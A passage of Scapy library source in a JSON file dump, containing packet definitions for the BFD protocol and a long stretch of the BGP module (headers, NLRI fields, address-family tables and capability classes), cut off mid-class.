SignedIntField(\"ssi_noise\", 0),\n                   IntEnumField(\"preamble\", 0, AVSWLANPreambleType),\n                   IntEnumField(\"encoding\", 0, AVSWLANEncodingType),\n                   ]\n\n\nconf.l2types.register(DLT_IEEE802_11_RADIO_AVS, AVSWLANHeader)\n\nbind_layers(AVSWLANHeader, Dot11)\n"
  },
  {
    "path": "scapy/contrib/bfd.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Parag Bhide\n\n\"\"\"\nBFD - Bidirectional Forwarding Detection - RFC 5880, 5881, 7130, 7881\n\"\"\"\n\n# scapy.contrib.description = BFD\n# scapy.contrib.status = loads\n\n\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up\nfrom scapy.fields import (\n    BitField,\n    BitEnumField,\n    ByteEnumField,\n    XNBytesField,\n    XByteField,\n    MultipleTypeField,\n    IntField,\n    FieldLenField,\n    FlagsField,\n    ByteField,\n    PacketField,\n    ConditionalField,\n    StrFixedLenField,\n)\nfrom scapy.layers.inet import UDP\n\n_sta_names = {\n    0: \"AdminDown\",\n    1: \"Down\",\n    2: \"Init\",\n    3: \"Up\",\n}\n\n\n# https://www.iana.org/assignments/bfd-parameters/bfd-parameters.xhtml\n_diagnostics = {\n    0: \"No Diagnostic\",\n    1: \"Control Detection Time Expired\",\n    2: \"Echo Function Failed\",\n    3: \"Neighbor Signaled Session Down\",\n    4: \"Forwarding Plane Reset\",\n    5: \"Path Down\",\n    6: \"Concatenated Path Down\",\n    7: \"Administratively Down\",\n    8: \"Reverse Concatenated Path Down\",\n    9: \"Mis-Connectivity Defect\",\n}\n\n\n# https://www.rfc-editor.org/rfc/rfc5880 [Page 10]\n_authentification_type = {\n    0: \"Reserved\",\n    1: \"Simple Password\",\n    2: \"Keyed MD5\",\n    3: \"Meticulous Keyed MD5\",\n    4: \"Keyed SHA1\",\n    5: \"Meticulous Keyed SHA1\",\n}\n\n\nclass OptionalAuth(Packet):\n    name = \"Optional Auth\"\n    fields_desc = [\n        ByteEnumField(\"auth_type\", 1, _authentification_type),\n        FieldLenField(\n            \"auth_len\",\n            None,\n            fmt=\"B\",\n            length_of=\"auth_key\",\n            adjust=lambda pkt, x: x + 3 if pkt.auth_type <= 1 else x + 8,\n        ),\n        ByteField(\"auth_keyid\", 1),\n        ConditionalField(\n            XByteField(\"reserved\", 0),\n            lambda pkt: pkt.auth_type > 1,\n        ),\n        ConditionalField(\n            IntField(\"sequence_number\", 0),\n            lambda pkt: pkt.auth_type > 1,\n        ),\n        MultipleTypeField(\n            [\n                (\n                    StrFixedLenField(\n                        \"auth_key\", \"\", length_from=lambda pkt: pkt.auth_len\n                    ),\n                    lambda pkt: pkt.auth_type == 0,\n                ),\n                (\n                    XNBytesField(\"auth_key\", 0x5F4DCC3B5AA765D61D8327DEB882CF99, 16),\n                    lambda pkt: pkt.auth_type == 2 or pkt.auth_type == 3,\n                ),\n                (\n                    XNBytesField(\n                        \"auth_key\", 0x5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8, 20\n                    ),\n                    lambda pkt: pkt.auth_type == 4 or pkt.auth_type == 5,\n                ),\n            ],\n            StrFixedLenField(\n                \"auth_key\", \"password\", length_from=lambda pkt: pkt.auth_len\n            ),\n        ),\n    ]\n\n\nclass BFD(Packet):\n    name = \"BFD\"\n    fields_desc = [\n        BitField(\"version\", 1, 3),\n        BitEnumField(\"diag\", 0, 5, _diagnostics),\n        BitEnumField(\"sta\", 3, 2, _sta_names),\n        FlagsField(\"flags\", 0, 6, \"MDACFP\"),\n        ByteField(\"detect_mult\", 3),\n        FieldLenField(\n            \"len\",\n            None,\n            fmt=\"B\",\n            length_of=\"optional_auth\",\n            adjust=lambda pkt, x: x + 24,\n        ),\n        BitField(\"my_discriminator\", 0x11111111, 32),\n        BitField(\"your_discriminator\", 0x22222222, 32),\n        BitField(\"min_tx_interval\", 1000000000, 32),\n        BitField(\"min_rx_interval\", 1000000000, 32),\n        BitField(\"echo_rx_interval\", 1000000000, 32),\n        ConditionalField(\n            PacketField(\"optional_auth\", None, OptionalAuth),\n            lambda pkt: pkt.flags.names[2] == \"A\",\n        ),\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\n            \"BFD (my_disc=%BFD.my_discriminator%,\"\n            \"your_disc=%BFD.your_discriminator%,\"\n            \"state=%BFD.sta%)\"\n        )\n\n\nfor _bfd_port in [\n    3784,  # single-hop BFD\n    4784,  # multi-hop BFD\n    6784,  # BFD for LAG a.k.a micro-BFD\n    7784,  # seamless BFD\n]:\n    bind_bottom_up(UDP, BFD, dport=_bfd_port)\n    bind_bottom_up(UDP, BFD, sport=_bfd_port)\n    bind_layers(UDP, BFD, dport=_bfd_port, sport=_bfd_port)\n"
  },
  {
    "path": "scapy/contrib/bgp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = BGP v0.1\n# scapy.contrib.status = loads\n\n\"\"\"\nBGP (Border Gateway Protocol).\n\"\"\"\n\nimport struct\nimport re\nimport socket\n\nfrom scapy import pton_ntop\nfrom scapy.packet import Packet, Packet_metaclass, bind_layers\nfrom scapy.fields import (Field, BitField, BitEnumField, XBitField, ByteField,\n                          ByteEnumField, ShortField, ShortEnumField, IntField,\n                          IntEnumField, LongField, IEEEFloatField, StrField,\n                          StrLenField, StrFixedLenField, FieldLenField,\n                          FieldListField, PacketField, PacketListField,\n                          IPField, FlagsField, ConditionalField,\n                          MultiEnumField)\nfrom scapy.layers.inet import TCP\nfrom scapy.layers.inet6 import IP6Field\nfrom scapy.config import conf, ConfClass\nfrom scapy.compat import orb, chb\nfrom scapy.error import log_runtime\n\n\n#\n# Module configuration\n#\n\n\nclass BGPConf(ConfClass):\n    \"\"\"\n    BGP module configuration.\n    \"\"\"\n\n    # By default, set to True in order to behave like an OLD speaker (RFC 6793)\n    use_2_bytes_asn = True\n\n\nbgp_module_conf = BGPConf()\n\n\n#\n# Constants\n#\n\n# RFC 4271: \"The maximum message size is 4096 octets. All implementations are\n# required to support this maximum message size.\"\nBGP_MAXIMUM_MESSAGE_SIZE = 4096\n\n# RFC 4271: \"Each message has a fixed-size header.\" Marker (16 bytes) +\n# Length (2 bytes) + Type (1 byte)\n_BGP_HEADER_SIZE = 19\n\n# Marker included in every message (RFC 4271: \"This 16-octet field is\n# included for compatibility; it MUST be set to all ones\")\n_BGP_HEADER_MARKER = b\"\\xff\" * 16\n\n# extended-length flag (RFC 4271 4.3. UPDATE Message Format -\n# Path Attributes)\n_BGP_PA_EXTENDED_LENGTH = 0x10\n\n# RFC 5492 (at least 2 bytes : code + length)\n_BGP_CAPABILITY_MIN_SIZE = 2\n\n# RFC 5492 (at least 3 bytes : type code + length)\n_BGP_PATH_ATTRIBUTE_MIN_SIZE = 3\n\n\n#\n# Fields and utilities\n#\n\ndef _bits_to_bytes_len(length_in_bits):\n    \"\"\"\n    Helper function that returns the numbers of bytes necessary to store the\n    given number of bits.\n    \"\"\"\n\n    return (length_in_bits + 7) // 8\n\n\nclass BGPFieldIPv4(Field):\n    \"\"\"\n    IPv4 Field (CIDR)\n    \"\"\"\n\n    def mask2iplen(self, mask):\n        \"\"\"Get the IP field mask length (in bytes).\"\"\"\n        return (mask + 7) // 8\n\n    def h2i(self, pkt, h):\n        \"\"\"x.x.x.x/y to \"internal\" representation.\"\"\"\n        ip, mask = re.split(\"/\", h)\n        return int(mask), ip\n\n    def i2h(self, pkt, i):\n        \"\"\"\"Internal\" representation to \"human\" representation\n        (x.x.x.x/y).\"\"\"\n        mask, ip = i\n        return ip + \"/\" + str(mask)\n\n    def i2repr(self, pkt, i):\n        return self.i2h(pkt, i)\n\n    def i2len(self, pkt, i):\n        mask, _ = i\n        return self.mask2iplen(mask) + 1\n\n    def i2m(self, pkt, i):\n        \"\"\"\"Internal\" (IP as bytes, mask as int) to \"machine\"\n        representation.\"\"\"\n        mask, ip = i\n        ip = socket.inet_aton(ip)\n        return struct.pack(\">B\", mask) + ip[:self.mask2iplen(mask)]\n\n    def addfield(self, pkt, s, val):\n        return s + self.i2m(pkt, val)\n\n    def getfield(self, pkt, s):\n        length = self.mask2iplen(orb(s[0])) + 1\n        return s[length:], self.m2i(pkt, s[:length])\n\n    def m2i(self, pkt, m):\n        mask = orb(m[0])\n        mask2iplen_res = self.mask2iplen(mask)\n        ip = b\"\".join(m[i + 1:i + 2] if i < mask2iplen_res else b\"\\x00\" for i in range(4))  # noqa: E501\n        return (mask, socket.inet_ntoa(ip))\n\n\nclass BGPFieldIPv6(Field):\n    \"\"\"IPv6 Field (CIDR)\"\"\"\n\n    def mask2iplen(self, mask):\n        \"\"\"Get the IP field mask length (in bytes).\"\"\"\n        return (mask + 7) // 8\n\n    def h2i(self, pkt, h):\n        \"\"\"x.x.x.x/y to internal representation.\"\"\"\n        ip, mask = re.split(\"/\", h)\n        return int(mask), ip\n\n    def i2h(self, pkt, i):\n        \"\"\"\"Internal\" representation to \"human\" representation.\"\"\"\n        mask, ip = i\n        return ip + \"/\" + str(mask)\n\n    def i2repr(self, pkt, i):\n        return self.i2h(pkt, i)\n\n    def i2len(self, pkt, i):\n        mask, ip = i\n        return self.mask2iplen(mask) + 1\n\n    def i2m(self, pkt, i):\n        \"\"\"\"Internal\" (IP as bytes, mask as int) to \"machine\" representation.\"\"\"  # noqa: E501\n        mask, ip = i\n        ip = pton_ntop.inet_pton(socket.AF_INET6, ip)\n        return struct.pack(\">B\", mask) + ip[:self.mask2iplen(mask)]\n\n    def addfield(self, pkt, s, val):\n        return s + self.i2m(pkt, val)\n\n    def getfield(self, pkt, s):\n        length = self.mask2iplen(orb(s[0])) + 1\n        return s[length:], self.m2i(pkt, s[:length])\n\n    def m2i(self, pkt, m):\n        mask = orb(m[0])\n        ip = b\"\".join(m[i + 1:i + 2] if i < self.mask2iplen(mask) else b\"\\x00\" for i in range(16))  # noqa: E501\n        return (mask, pton_ntop.inet_ntop(socket.AF_INET6, ip))\n\n\ndef has_extended_length(flags):\n    \"\"\"\n    Used in BGPPathAttr to check if the extended-length flag is\n    set.\n    \"\"\"\n\n    return flags & _BGP_PA_EXTENDED_LENGTH == _BGP_PA_EXTENDED_LENGTH\n\n\ndef detect_add_path_prefix46(s, max_bit_length):\n    \"\"\"\n    Detect IPv4/IPv6 prefixes conform to BGP Additional Path but NOT conform\n    to standard BGP..\n\n    This is an adapted version of wireshark's detect_add_path_prefix46\n    https://github.com/wireshark/wireshark/blob/ed9e958a2ed506220fdab320738f1f96a3c2ffbb/epan/dissectors/packet-bgp.c#L2905\n    Kudos to them !\n    \"\"\"\n    # Must be compatible with BGP Additional Path\n    i = 0\n    while i + 4 < len(s):\n        i += 4\n        prefix_len = orb(s[i])\n        if prefix_len > max_bit_length:\n            return False\n        addr_len = (prefix_len + 7) // 8\n        i += 1 + addr_len\n        if i > len(s):\n            return False\n        if prefix_len % 8:\n            if orb(s[i - 1]) & (0xFF >> (prefix_len % 8)):\n                return False\n    # Must NOT be compatible with standard BGP\n    i = 0\n    while i + 4 < len(s):\n        prefix_len = orb(s[i])\n        if prefix_len == 0 and len(s) > 1:\n            return True\n        if prefix_len > max_bit_length:\n            return True\n        addr_len = (prefix_len + 7) // 8\n        i += 1 + addr_len\n        if i > len(s):\n            return True\n        if prefix_len % 8:\n            if orb(s[i - 1]) & (0xFF >> (prefix_len % 8)):\n                return True\n    return False\n\n\nclass BGPNLRI_IPv4(Packet):\n    \"\"\"\n    Packet handling IPv4 NLRI fields.\n    \"\"\"\n    name = \"IPv4 NLRI\"\n    fields_desc = [BGPFieldIPv4(\"prefix\", \"0.0.0.0/0\")]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass BGPNLRI_IPv6(Packet):\n    \"\"\"\n    Packet handling IPv6 NLRI fields.\n    \"\"\"\n    name = \"IPv6 NLRI\"\n    fields_desc = [BGPFieldIPv6(\"prefix\", \"::/0\")]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass BGPNLRI_IPv4_AP(BGPNLRI_IPv4):\n    \"\"\"\n    Packet handling IPv4 NLRI fields WITH BGP ADDITIONAL PATH\n    \"\"\"\n\n    name = \"IPv4 NLRI (Additional Path)\"\n    fields_desc = [IntField(\"nlri_path_id\", 0),\n                   BGPFieldIPv4(\"prefix\", \"0.0.0.0/0\")]\n\n\nclass BGPNLRI_IPv6_AP(BGPNLRI_IPv6):\n    \"\"\"\n    Packet handling IPv6 NLRI fields WITH BGP ADDITIONAL PATH\n    \"\"\"\n\n    name = \"IPv6 NLRI (Additional Path)\"\n    fields_desc = [IntField(\"nlri_path_id\", 0),\n                   BGPFieldIPv6(\"prefix\", \"::/0\")]\n\n\nclass BGPNLRIPacketListField(PacketListField):\n    \"\"\"\n    PacketListField handling NLRI fields.\n    \"\"\"\n    __slots__ = [\"max_bit_length\", \"cls_group\", \"no_length\"]\n\n    def __init__(self, name, default, ip_mode, **kwargs):\n        super(BGPNLRIPacketListField, self).__init__(\n            name, default, Packet, **kwargs\n        )\n        self.max_bit_length, self.cls_group = {\n            \"IPv4\": (32, [BGPNLRI_IPv4, BGPNLRI_IPv4_AP]),\n            \"IPv6\": (128, [BGPNLRI_IPv6, BGPNLRI_IPv6_AP]),\n        }[ip_mode]\n        self.no_length = \"length_from\" not in kwargs\n\n    def getfield(self, pkt, s):\n        if self.no_length:\n            index = s.find(_BGP_HEADER_MARKER)\n            if index == 0:\n                return s, []\n            if index != -1:\n                self.length_from = lambda pkt: index\n        remain = s[:self.length_from(pkt)] if self.length_from else s\n\n        cls = self.cls_group[\n            detect_add_path_prefix46(remain, self.max_bit_length)\n        ]\n        self.next_cls_cb = lambda *args: cls\n        res = super(BGPNLRIPacketListField, self).getfield(pkt, s)\n        if self.no_length:\n            self.length_from = None\n        return res\n\n\nclass _BGPInvalidDataException(Exception):\n    \"\"\"\n    Raised when it is not possible to instantiate a BGP packet with the given\n    data.\n    \"\"\"\n\n    def __init__(self, details):\n        Exception.__init__(\n            self,\n            \"Impossible to build packet from the given data\" + details\n        )\n\n\ndef _get_cls(name, fallback_cls=conf.raw_layer):\n    \"\"\"\n    Returns class named \"name\" if it exists, fallback_cls otherwise.\n    \"\"\"\n\n    return globals().get(name, fallback_cls)\n\n\n#\n# Common dictionaries\n#\n\n_bgp_message_types = {\n    0: \"NONE\",\n    1: \"OPEN\",\n    2: \"UPDATE\",\n    3: \"NOTIFICATION\",\n    4: \"KEEPALIVE\",\n    5: \"ROUTE-REFRESH\"\n}\n\n\n#\n# AFIs\n#\n\naddress_family_identifiers = {\n    0: \"Reserved\",\n    1: \"IP (IP version 4)\",\n    2: \"IP6 (IP version 6)\",\n    3: \"NSAP\",\n    4: \"HDLC (8-bit multidrop)\",\n    5: \"BBN 1822\",\n    6: \"802 (includes all 802 media plus Ethernet \\\"canonical format\\\")\",\n    7: \"E.163\",\n    8: \"E.164 (SMDS, Frame Relay, ATM)\",\n    9: \"F.69 (Telex)\",\n    10: \"X.121 (X.25, Frame Relay)\",\n    11: \"IPX\",\n    12: \"Appletalk\",\n    13: \"Decnet IV\",\n    14: \"Banyan Vines\",\n    15: \"E.164 with NSAP format subaddress\",  # ANDY_MALIS\n    16: \"DNS (Domain Name System)\",\n    17: \"Distinguished Name\",  # CHARLES_LYNN\n    18: \"AS Number\",  # CHARLES_LYNN\n    19: \"XTP over IP version 4\",  # MIKE_SAUL\n    20: \"XTP over IP version 6\",  # MIKE_SAUL\n    21: \"XTP native mode XTP\",  # MIKE_SAUL\n    22: \"Fibre Channel World-Wide Port Name\",  # MARK_BAKKE\n    23: \"Fibre Channel World-Wide Node Name\",  # MARK_BAKKE\n    24: \"GWID\",  # SUBRA_HEGDE\n    25: \"AFI for L2VPN information\",  # RFC 6074\n    26: \"MPLS-TP Section Endpoint Identifier\",  # RFC 7212\n    27: \"MPLS-TP LSP Endpoint Identifier\",  # RFC 7212\n    28: \"MPLS-TP Pseudowire Endpoint Identifier\",  # RFC 7212\n    29: \"MT IP: Multi-Topology IP version 4\",  # RFC 7307\n    30: \"MT IPv6: Multi-Topology IP version 6\",  # RFC 7307\n    16384: \"EIGRP Common Service Family\",  # DONNIE_SAVAGE\n    16385: \"EIGRP IPv4 Service Family\",  # DONNIE_SAVAGE\n    16386: \"EIGRP IPv6 Service Family\",  # DONNIE_SAVAGE\n    16387: \"LISP Canonical Address Format (LCAF)\",  # DAVID_MEYER\n    16388: \"BGP-LS\",  # RFC 7752\n    16389: \"48-bit MAC\",  # RFC 7042\n    16390: \"64-bit MAC\",  # RFC 7042\n    16391: \"OUI\",  # draft-ietf-trill-ia-appsubtlv\n    16392: \"MAC/24\",  # draft-ietf-trill-ia-appsubtlv\n    16393: \"MAC/40\",  # draft-ietf-trill-ia-appsubtlv\n    16394: \"IPv6/64\",  # draft-ietf-trill-ia-appsubtlv\n    16395: \"RBridge Port ID\",  # draft-ietf-trill-ia-appsubtlv\n    16396: \"TRILL Nickname\",  # RFC 7455\n    65535: \"Reserved\"\n}\n\n\nsubsequent_afis = {\n    0: \"Reserved\",  # RFC 4760\n    1: \"Network Layer Reachability Information used for unicast forwarding\",  # RFC 4760  # noqa: E501\n    2: \"Network Layer Reachability Information used for multicast forwarding\",  # RFC 4760  # noqa: E501\n    3: \"Reserved\",  # RFC 4760\n    4: \"Network Layer Reachability Information (NLRI) with MPLS Labels\",  # RFC 3107  # noqa: E501\n    5: \"MCAST-VPN\",  # RFC 6514\n    6: \"Network Layer Reachability Information used for Dynamic Placement of\\\n        Multi-Segment Pseudowires\",  # RFC 7267\n    7: \"Encapsulation SAFI\",  # RFC 5512\n    8: \"MCAST-VPLS\",  # RFC 7117\n    64: \"Tunnel SAFI\",  # DRAFT-NALAWADE-KAPOOR-TUNNEL-SAFI-01\n    65: \"Virtual Private LAN Service (VPLS)\",  # RFC 6074\n    66: \"BGP MDT SAFI\",  # RFC 6037\n    67: \"BGP 4over6 SAFI\",  # RFC 5747\n    68: \"BGP 6over4 SAFI\",  # YONG_CUI\n    69: \"Layer-1 VPN auto-discovery information\",  # RFC 5195\n    70: \"BGP EVPNs\",  # RFC 7432\n    71: \"BGP-LS\",  # RFC 7752\n    72: \"BGP-LS-VPN\",  # RFC 7752\n    128: \"MPLS-labeled VPN address\",  # RFC 4364\n    129: \"Multicast for BGP/MPLS IP Virtual Private Networks (VPNs)\",  # RFC 6514  # noqa: E501\n    132: \"Route Target constraint\",  # RFC 4684\n    133: \"IPv4 dissemination of flow specification rules\",  # RFC 5575\n    134: \"VPNv4 dissemination of flow specification rules\",  # RFC 5575\n    140: \"VPN auto-discovery\",  # draft-ietf-l3vpn-bgpvpn-auto\n    255: \"Reserved\"  # RFC 4760\n}\n\n\n# Used by _bgp_dispatcher to instantiate the appropriate class\n_bgp_cls_by_type = {\n    1: \"BGPOpen\",\n    2: \"BGPUpdate\",\n    3: \"BGPNotification\",\n    4: \"BGPKeepAlive\",\n    5: \"BGPRouteRefresh\",\n}\n\n\n#\n# Header\n#\n\nclass BGPHeader(Packet):\n    \"\"\"\n    The header of any BGP message.\n    References: RFC 4271\n    \"\"\"\n\n    name = \"HEADER\"\n    fields_desc = [\n        XBitField(\n            \"marker\",\n            0xffffffffffffffffffffffffffffffff,\n            0x80\n        ),\n        ShortField(\"len\", None),\n        ByteEnumField(\"type\", 4, _bgp_message_types)\n    ]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        \"\"\"\n        Returns the right class for the given data.\n        \"\"\"\n\n        return _bgp_dispatcher(_pkt)\n\n    @classmethod\n    def tcp_reassemble(cls, data, *args, **kwargs):\n        if len(data) < 18:\n            return None\n        if data[:16] == _BGP_HEADER_MARKER:\n            length = struct.unpack(\"!H\", data[16:18])[0]\n            if len(data) >= length:\n                return cls(data[:length]) / conf.padding_layer(data[length:])\n        else:\n            return cls(data)\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            length = len(p)\n            if pay:\n                length = length + len(pay)\n            p = p[:16] + struct.pack(\"!H\", length) + p[18:]\n        return p + pay\n\n    def guess_payload_class(self, payload):\n        return _get_cls(_bgp_cls_by_type.get(self.type, conf.raw_layer), conf.raw_layer)  # noqa: E501\n\n\ndef _bgp_dispatcher(payload):\n    \"\"\"\n    Returns the right class for a given BGP message.\n    \"\"\"\n\n    cls = conf.raw_layer\n\n    # By default, calling BGP() will build a BGPHeader.\n    if payload is None:\n        cls = _get_cls(\"BGPHeader\", conf.raw_layer)\n\n    else:\n        if len(payload) >= _BGP_HEADER_SIZE and\\\n                payload[:16] == _BGP_HEADER_MARKER:\n\n            # Get BGP message type\n            message_type = orb(payload[18])\n            if message_type == 4:\n                cls = _get_cls(\"BGPKeepAlive\")\n            else:\n                cls = _get_cls(\"BGPHeader\")\n\n    return cls\n\n\nclass BGP(Packet):\n    \"\"\"\n    Every BGP message inherits from this class.\n    \"\"\"\n\n    #\n    # BGP messages types\n\n    OPEN_TYPE = 1\n    UPDATE_TYPE = 2\n    NOTIFICATION_TYPE = 3\n    KEEPALIVE_TYPE = 4\n    ROUTEREFRESH_TYPE = 5\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        \"\"\"\n        Returns the right class for the given data.\n        \"\"\"\n\n        return _bgp_dispatcher(_pkt)\n\n    tcp_reassemble = BGPHeader.tcp_reassemble\n\n    def guess_payload_class(self, p):\n        cls = None\n        if len(p) > 15 and p[:16] == _BGP_HEADER_MARKER:\n            cls = BGPHeader\n        return cls\n\n\n#\n# KEEPALIVE\n#\n\nclass BGPKeepAlive(BGP, BGPHeader):\n\n    \"\"\"\n    KEEPALIVE message.\n    \"\"\"\n\n    name = \"KEEPALIVE\"\n\n\n#\n# OPEN\n#\n\n#\n# Optional Parameters Codes\n#\n\noptional_parameter_codes = {\n    0: \"Reserved\",\n    1: \"Authentication (deprecated)\",\n    2: \"Capabilities\"\n}\n\n\n#\n# Capabilities\n#\n\n_capabilities = {\n    0: \"Reserved\",  # RFC 5492\n    1: \"Multiprotocol Extensions for BGP-4\",  # RFC 2858\n    2: \"Route Refresh Capability for BGP-4\",  # RFC 2918\n    3: \"Outbound Route Filtering Capability\",  # RFC 5291\n    4: \"Multiple routes to a destination capability\",  # RFC 3107\n    5: \"Extended Next Hop Encoding\",  # RFC 5549\n    6: \"BGP-Extended Message\",  # (TEMPORARY - registered 2015-09-30, expires 2016-09-30),  # noqa: E501\n    # draft-ietf-idr-bgp-extended-messages\n    64: \"Graceful Restart Capability\",  # RFC 4724\n    65: \"Support for 4-octet AS number capability\",  # RFC 6793\n    66: \"Deprecated (2003-03-06)\",\n    67: \"Support for Dynamic Capability (capability specific)\",  # draft-ietf-idr-dynamic-cap  # noqa: E501\n    68: \"Multisession BGP Capability\",  # draft-ietf-idr-bgp-multisession\n    69: \"ADD-PATH Capability\",  # RFC-ietf-idr-add-paths-15\n    70: \"Enhanced Route Refresh Capability\",  # RFC 7313\n    71: \"Long-Lived Graceful Restart (LLGR) Capability\",  # draft-uttaro-idr-bgp-persistence  # noqa: E501\n    73: \"FQDN Capability\",  # draft-walton-bgp-hostname-capability\n    128: \"Route Refresh Capability for BGP-4 (Cisco)\",  # Cisco also uses 128 for RR capability  # noqa: E501\n    130: \"Outbound Route Filtering Capability (Cisco)\",  # Cisco also uses 130 for ORF capability  # noqa: E501\n}\n\n\n_capabilities_objects = {\n    0x01: \"BGPCapMultiprotocol\",  # RFC 2858\n    0x02: \"BGPCapGeneric\",  # RFC 2918\n    0x03: \"BGPCapORF\",  # RFC 5291\n    0x40: \"BGPCapGracefulRestart\",  # RFC 4724\n    0x41: \"BGPCapFourBytesASN\",  # RFC 4893\n    0x46: \"BGPCapGeneric\",  # Enhanced Route Refresh Capability, RFC 7313\n    0x82: \"BGPCapORF\",  # ORF / RFC 5291 (Cisco)\n}\n\n\ndef _register_cls(registry, cls):\n    registry[cls.__name__] = cls\n    return cls\n\n\n_capabilities_registry = {}\n\n\ndef _bgp_capability_dispatcher(payload):\n    \"\"\"\n    Returns the right class for a given BGP capability.\n    \"\"\"\n\n    cls = _capabilities_registry[\"BGPCapGeneric\"]\n\n    # By default, calling BGPCapability() will build a \"generic\" capability.\n    if payload is None:\n        cls = _capabilities_registry[\"BGPCapGeneric\"]\n\n    else:\n        length = len(payload)\n        if length >= _BGP_CAPABILITY_MIN_SIZE:\n            code = orb(payload[0])\n            cls = _get_cls(_capabilities_objects.get(code, \"BGPCapGeneric\"))\n\n    return cls\n\n\nclass _BGPCap_metaclass(type):\n    def __new__(cls, clsname, bases, attrs):\n        newclass = super(_BGPCap_metaclass, cls).__new__(\n            cls, clsname, bases, attrs)\n        _register_cls(_capabilities_registry, newclass)\n        return newclass\n\n\nclass _BGPCapability_metaclass(_BGPCap_metaclass, Packet_metaclass):\n    pass\n\n\nclass BGPCapability(Packet, metaclass=_BGPCapability_metaclass):\n    \"\"\"\n    Generic BGP capability.\n    \"\"\"\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        \"\"\"\n        Returns the right class for the given data.\n        \"\"\"\n\n        return _bgp_capability_dispatcher(_pkt)\n\n    def pre_dissect(self, s):\n        \"\"\"\n        Check that the payload is long enough (at least 2 bytes).\n        \"\"\"\n        length = len(s)\n        if length < _BGP_CAPABILITY_MIN_SIZE:\n            err = \" ({}\".format(length) + \" is < _BGP_CAPABILITY_MIN_SIZE \"\n            err += \"({})).\".format(_BGP_CAPABILITY_MIN_SIZE)\n            raise _BGPInvalidDataException(err)\n        return s\n\n    def post_build(self, p, pay):\n        length = 0\n        if self.length is None:\n            # capability packet length - capability code (1 byte) -\n            # capability length (1 byte)\n            length = len(p) - 2\n            p = p[:1] + chb(length) + p[2:]\n        return p + pay\n\n\nclass BGPCapGeneric(BGPCapability):\n    \"\"\"\n    This class provides an implementation of a generic capability.\n    \"\"\"\n\n    name = \"BGP Capability\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"code\", 0, _capabilities),\n        FieldLenField(\"length\", None, fmt=\"B\", length_of=\"cap_data\"),\n        StrLenField(\"cap_data\", '',\n                    length_from=lambda p: p.length, max_length=255),\n    ]\n\n\n#\n# Multiprotocol Extensions for BGP-4\n#\n\nclass BGPCapMultiprotocol(BGPCapability):\n    \"\"\"\n    This class provides an implementation of the Multiprotocol\n    capability.\n    References: RFC 4760\n    \"\"\"\n\n    name = \"Multiprotocol Extensions for BGP-4\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"code\", 1, _capabilities),\n        ByteField(\"length\", 4),\n        ShortEnumField(\"afi\", 0, address_family_identifiers),\n        ByteField(\"reserved\", 0),\n        ByteEnumField(\"safi\", 0, subsequent_afis)\n    ]\n\n\n#\n# Outbound Route Filtering Capability for BGP-4\n#\n\n_orf_types = {\n    0: \"Reserved\",  # RFC 5291\n    64: \"Address Prefix ORF\",  # RFC 5292\n    65: \"CP-ORF\",  # RFC 7543\n}\n\n\nsend_receive_values = {\n    1: \"receive\",\n    2: \"send\",\n    3: \"receive + send\"\n}\n\n\nclass BGPCapORFBlock(Packet):\n    \"\"\"\n    The \"ORFBlock\" is made of <AFI, rsvd, SAFI, Number of ORFs, and\n    <ORF Type, Send/Receive> entries.\n    \"\"\"\n\n    class ORFTuple(Packet):\n        \"\"\"\n        Packet handling <ORF Types, Send/Receive> tuples.\n        \"\"\"\n\n        # (ORF Type (1 octet) / Send/Receive (1 octet)) ....\n        name = \"ORF Type\"\n        fields_desc = [\n            ByteEnumField(\"orf_type\", 0, _orf_types),\n            ByteEnumField(\"send_receive\", 0, send_receive_values)\n        ]\n\n    name = \"ORF Capability Entry\"\n    fields_desc = [\n        ShortEnumField(\"afi\", 0, address_family_identifiers),\n        ByteField(\"reserved\", 0),\n        ByteEnumField(\"safi\", 0, subsequent_afis),\n        FieldLenField(\n            \"orf_number\",\n            None,\n            count_of=\"entries\",\n            fmt=\"!B\"\n        ),\n        PacketListField(\n            \"entries\",\n            [],\n            ORFTuple,\n            count_from=lambda p: p.orf_number,\n            max_count=20000,\n        )\n    ]\n\n    def post_build(self, p, pay):\n        count = None\n        if self.orf_number is None:\n            count = len(self.entries)  # orf_type (1 byte) + send_receive (1 byte)  # noqa: E501\n            p = p[:4] + struct.pack(\"!B\", count) + p[5:]\n        return p + pay\n\n\nclass BGPCapORFBlockPacketListField(PacketListField):\n    \"\"\"\n    Handles lists of BGPCapORFBlocks.\n    \"\"\"\n\n    def getfield(self, pkt, s):\n        lst = []\n        length = None\n\n        if self.length_from is not None:\n            length = self.length_from(pkt)\n        remain = s\n        if length is not None:\n            remain = s[:length]\n\n        while remain:\n            # block length: afi (2 bytes) + reserved (1 byte) + safi (1 byte) +\n            # orf_number (1 byte) + entries (2 bytes * orf_number)\n            orf_number = orb(remain[4])\n            entries_length = orf_number * 2\n            current = remain[:5 + entries_length]\n            remain = remain[5 + entries_length:]\n            packet = self.m2i(pkt, current)\n            lst.append(packet)\n\n        return remain, lst\n\n\nclass BGPCapORF(BGPCapability):\n    \"\"\"\n    This class provides an implementation of the Outbound Route Filtering\n    capability.\n    References: RFC 5291\n    \"\"\"\n\n    name = \"Outbound Route Filtering Capability\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"code\", 3, _capabilities),\n        ByteField(\"length\", None),\n        BGPCapORFBlockPacketListField(\n            \"orf\",\n            [],\n            BGPCapORFBlock,\n            length_from=lambda p: p.length,\n            max_count=20000,\n        )\n    ]\n\n\n#\n# Graceful Restart capability\n#\n\ngr_address_family_flags = {\n    128: \"Forwarding state preserved (0x80: F bit set)\"\n}\n\n\nclass BGPCapGracefulRestart(BGPCapability):\n    